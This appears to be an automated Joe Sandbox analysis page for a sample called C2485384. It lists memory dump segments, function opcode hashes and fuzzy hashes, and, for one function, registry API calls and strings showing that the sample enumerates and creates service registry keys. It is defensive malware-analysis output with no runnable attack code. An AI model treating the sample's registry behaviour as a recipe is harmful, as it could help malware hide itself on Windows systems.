Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a97430d2e2e3a00ab81a81f48107fea70de4dac2e4663874b397620e5b6dd282
Instruction ID: 5752ac3621cd92199e1ea34c04fd4ee6ebb432c1acd844b69363fabf3d2f3d57
Opcode Fuzzy Hash: a97430d2e2e3a00ab81a81f48107fea70de4dac2e4663874b397620e5b6dd282
Instruction Fuzzy Hash: 83E1C43160D3564FC318CE29C9A0269BFE2EFC5304F18896DE8D58B3C6DA75D94ACB51

Function 62554A68 Relevance: .4, Instructions: 378COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c40bcf876c129f9393d32ca3cb7471e4bcf7a4352579634fb414d11934eaa4f2
Instruction ID: e855954303fd8fdb134720474a2c607dd2c1a58d51940202a0f05268b6662052
Opcode Fuzzy Hash: c40bcf876c129f9393d32ca3cb7471e4bcf7a4352579634fb414d11934eaa4f2
Instruction Fuzzy Hash: 8FD151B3C0EAB3068375897E407822FEE626FD165531AC7E2DCE43F689D2269D3495D0

Function 6255465C Relevance: .4, Instructions: 361COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8709e21481f65d4d57cc4b3952fb3adbcebd3cc8b64ff3d20fdf858c0bfd14a0
Instruction ID: 4a69b5b3875c27802c69a9c8bb313908461218f3b152693d59c2c765702f2e83
Opcode Fuzzy Hash: 8709e21481f65d4d57cc4b3952fb3adbcebd3cc8b64ff3d20fdf858c0bfd14a0
Instruction Fuzzy Hash: 4BC16073C1EAB3068375897E407862FEEA26FD165431BC7E29CE43F689D2269D3095D0

Function 62554288 Relevance: .4, Instructions: 351COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6a9d25a147ba64f4d06249d12fe21364a5b6889ab238d0ba2e949acfc497403
Instruction ID: 92c10eb074871c30480ebcea9e841244bfa169853e0ee525c3afc3b278b3f293
Opcode Fuzzy Hash: a6a9d25a147ba64f4d06249d12fe21364a5b6889ab238d0ba2e949acfc497403
Instruction Fuzzy Hash: 4FC17073D1EAB3068375897E407822FEEA26FD164531BC7A29CE43F689D2269D3095D0

Function 0BC93EA3 Relevance: .3, Instructions: 275COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3816678851.000000000BC93000.00000080.00000001.01000000.00000011.sdmp, Offset: 0BB70000, based on PE: true

Associated: 00000011.00000002.3812056800.000000000BB70000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3812094055.000000000BB71000.00000020.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBD8000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBE1000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813923280.000000000BBE4000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813965926.000000000BBE5000.00000020.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816743352.000000000BC95000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816795626.000000000BC96000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816852114.000000000BC97000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816895616.000000000BC98000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817829222.000000000BCD6000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817909668.000000000BCD7000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820238314.000000000BD81000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820299762.000000000BD83000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820412054.000000000BD89000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820551344.000000000BD8C000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bb70000_C2485384.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 97a7f5cb5cf4b49c3f390a5c5a2a57894e86908d3c578ad955931f3b75bc17d7
Instruction ID: 901c8662915a8f7c287d2427e593053257d734d315f9677783ef04577918c748
Opcode Fuzzy Hash: 97a7f5cb5cf4b49c3f390a5c5a2a57894e86908d3c578ad955931f3b75bc17d7
Instruction Fuzzy Hash: 5A812E36805745CFDB25EF74C8411DAFFB2FF86720B59068ED8A0AB152C330985AD784

Function 0BB780F4 Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3812094055.000000000BB71000.00000020.00000001.01000000.00000011.sdmp, Offset: 0BB70000, based on PE: true

Associated: 00000011.00000002.3812056800.000000000BB70000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBD8000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBE1000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813923280.000000000BBE4000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813965926.000000000BBE5000.00000020.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816678851.000000000BC93000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816743352.000000000BC95000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816795626.000000000BC96000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816852114.000000000BC97000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816895616.000000000BC98000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817829222.000000000BCD6000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817909668.000000000BCD7000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820238314.000000000BD81000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820299762.000000000BD83000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820412054.000000000BD89000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820551344.000000000BD8C000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bb70000_C2485384.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6d55ffda06be9354f45c85752ae1684c48c89628f5d423d6395e0bf3078b847
Instruction ID: d9ca5c35b085eece62e9f9345e2df5b5b2dbbbf6d6fdc43b5a6e4acac797e09a
Opcode Fuzzy Hash: b6d55ffda06be9354f45c85752ae1684c48c89628f5d423d6395e0bf3078b847
Instruction Fuzzy Hash: 44317E3213659B4EC7088B3CC8514ADAB93BE937353A843B7C071CB5D7D7B5A26E8290

Function 62552310 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 175e4f3a34cddef2d3f9f5addff47c2a1ed73fd4121b1daaa5942c875309da6a
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 45110B7725404143D6108A3DC4B47AAAB96FBC5229B2B837BD061EBE54D223E3759B00

Function 0BBD3958 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3812094055.000000000BB71000.00000020.00000001.01000000.00000011.sdmp, Offset: 0BB70000, based on PE: true

Associated: 00000011.00000002.3812056800.000000000BB70000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBD8000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBE1000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813923280.000000000BBE4000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813965926.000000000BBE5000.00000020.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816678851.000000000BC93000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816743352.000000000BC95000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816795626.000000000BC96000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816852114.000000000BC97000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816895616.000000000BC98000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817829222.000000000BCD6000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817909668.000000000BCD7000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820238314.000000000BD81000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820299762.000000000BD83000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820412054.000000000BD89000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820551344.000000000BD8C000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bb70000_C2485384.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 562e2c1f4c1694cc4920c52983db4842c95f85c348496d6be60af719cdbfa8b5
Instruction ID: 3d8b308f9e63a7f4e6d4ce99e5286a5a77110d469e20d39933f01e90894edda5
Opcode Fuzzy Hash: 562e2c1f4c1694cc4920c52983db4842c95f85c348496d6be60af719cdbfa8b5
Instruction Fuzzy Hash: 88D012702547087BE6110A068C11F66BA9DE75AE54F424191BD156779195B8780084AA

Function 0BB7787E Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3812094055.000000000BB71000.00000020.00000001.01000000.00000011.sdmp, Offset: 0BB70000, based on PE: true

Associated: 00000011.00000002.3812056800.000000000BB70000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBD8000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBE1000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813923280.000000000BBE4000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813965926.000000000BBE5000.00000020.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816678851.000000000BC93000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816743352.000000000BC95000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816795626.000000000BC96000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816852114.000000000BC97000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816895616.000000000BC98000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817829222.000000000BCD6000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817909668.000000000BCD7000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820238314.000000000BD81000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820299762.000000000BD83000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820412054.000000000BD89000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820551344.000000000BD8C000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bb70000_C2485384.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 38190b5f1b4de436539e8f67b11513b596ceb6bb9780378517332f974396c2c3
Instruction ID: 378fec1aa4daed9756e3b61f3e5c5dfce6d1fbc6cfe6ab0e4182defa066e25ef
Opcode Fuzzy Hash: 38190b5f1b4de436539e8f67b11513b596ceb6bb9780378517332f974396c2c3
Instruction Fuzzy Hash:

Function 0BB773A6 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3812094055.000000000BB71000.00000020.00000001.01000000.00000011.sdmp, Offset: 0BB70000, based on PE: true

Associated: 00000011.00000002.3812056800.000000000BB70000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBD8000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBE1000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813923280.000000000BBE4000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813965926.000000000BBE5000.00000020.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816678851.000000000BC93000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816743352.000000000BC95000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816795626.000000000BC96000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816852114.000000000BC97000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816895616.000000000BC98000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817829222.000000000BCD6000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817909668.000000000BCD7000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820238314.000000000BD81000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820299762.000000000BD83000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820412054.000000000BD89000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820551344.000000000BD8C000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bb70000_C2485384.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e42668e726130058e9d2f8b6d114f5ae024c001379542e780a2d8ed75d0bb5f8
Instruction ID: d591548b60c3bb4b6045d803e0290c8957bc040fb4e3393382f89e80c88f2eef
Opcode Fuzzy Hash: e42668e726130058e9d2f8b6d114f5ae024c001379542e780a2d8ed75d0bb5f8
Instruction Fuzzy Hash:

Function 0BB772BE Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3812094055.000000000BB71000.00000020.00000001.01000000.00000011.sdmp, Offset: 0BB70000, based on PE: true

Associated: 00000011.00000002.3812056800.000000000BB70000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBD8000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBE1000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813923280.000000000BBE4000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813965926.000000000BBE5000.00000020.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816678851.000000000BC93000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816743352.000000000BC95000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816795626.000000000BC96000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816852114.000000000BC97000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816895616.000000000BC98000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817829222.000000000BCD6000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817909668.000000000BCD7000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820238314.000000000BD81000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820299762.000000000BD83000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820412054.000000000BD89000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820551344.000000000BD8C000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bb70000_C2485384.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ec9b2f047a527aa5e996f47178d4c05a9a56c71c5f53605047536a07c449b3c6
Instruction ID: 338ed050e3b9374bfe8c1dd75dca38e4e89178000183d0621cbc6763314f7278
Opcode Fuzzy Hash: ec9b2f047a527aa5e996f47178d4c05a9a56c71c5f53605047536a07c449b3c6
Instruction Fuzzy Hash:

Function 0BB7773E Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3812094055.000000000BB71000.00000020.00000001.01000000.00000011.sdmp, Offset: 0BB70000, based on PE: true

Associated: 00000011.00000002.3812056800.000000000BB70000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBD8000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBE1000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813923280.000000000BBE4000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813965926.000000000BBE5000.00000020.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816678851.000000000BC93000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816743352.000000000BC95000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816795626.000000000BC96000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816852114.000000000BC97000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816895616.000000000BC98000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817829222.000000000BCD6000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817909668.000000000BCD7000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820238314.000000000BD81000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820299762.000000000BD83000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820412054.000000000BD89000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820551344.000000000BD8C000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bb70000_C2485384.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 66608b0c6dcfa9d3ffc8e817164e3264347a8461c9c8300697c3b74f1f3f5ba2
Instruction ID: eaa6f65727b0185bc8166c64bc2ab3bcbef1a618c5b4f23f4959210a2ac1316d
Opcode Fuzzy Hash: 66608b0c6dcfa9d3ffc8e817164e3264347a8461c9c8300697c3b74f1f3f5ba2
Instruction Fuzzy Hash:

Function 62516599 Relevance: 87.7, APIs: 15, Strings: 35, Instructions: 224registryCOMMON

Download Yara Rule

APIs

_sprintf.LIBCMT ref: 625165BB
RegOpenKeyExA.ADVAPI32 ref: 62516666
RegQueryInfoKeyA.ADVAPI32(?,00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 62516688
_memset.LIBCMT ref: 625166A0
RegEnumKeyExA.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000), ref: 625166D9
_strncmp.LIBCMT ref: 625167EA
_strncmp.LIBCMT ref: 6251681A
_strncmp.LIBCMT ref: 6251684A
RegCloseKey.ADVAPI32(?), ref: 62516936
_memset.LIBCMT ref: 6251694A
_sprintf.LIBCMT ref: 6251697A
RegOpenKeyA.ADVAPI32(80000002,?,?), ref: 625169A4
RegCreateKeyA.ADVAPI32(80000002,?,?), ref: 625169C0
RegCloseKey.ADVAPI32(00000000), ref: 625169CF
RegCloseKey.ADVAPI32(?), ref: 625169D6

Strings

n, xrefs: 62516761
C, xrefs: 62516739
C, xrefs: 62516771
r, xrefs: 62516702
S, xrefs: 625167A9
e, xrefs: 62516759
T, xrefs: 62516653
l, xrefs: 62516712
o, xrefs: 625166EA
t, xrefs: 62516769
u, xrefs: 62516741
C, xrefs: 625166E2
ControlSet00%d, xrefs: 625165B5
r, xrefs: 62516749
o, xrefs: 62516779
S, xrefs: 6251664E
S, xrefs: 62516644
t, xrefs: 625166FA
r, xrefs: 62516791
t, xrefs: 625167B9
t, xrefs: 62516789
n, xrefs: 62516781
n, xrefs: 625166F2
o, xrefs: 6251670A
System\%s\Services\%s, xrefs: 62516974
S, xrefs: 6251671A
o, xrefs: 62516799
l, xrefs: 625167A1
e, xrefs: 625167B1
t, xrefs: 6251672A
E, xrefs: 62516658
e, xrefs: 62516722
Y, xrefs: 62516649
r, xrefs: 62516751
M, xrefs: 6251665D

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
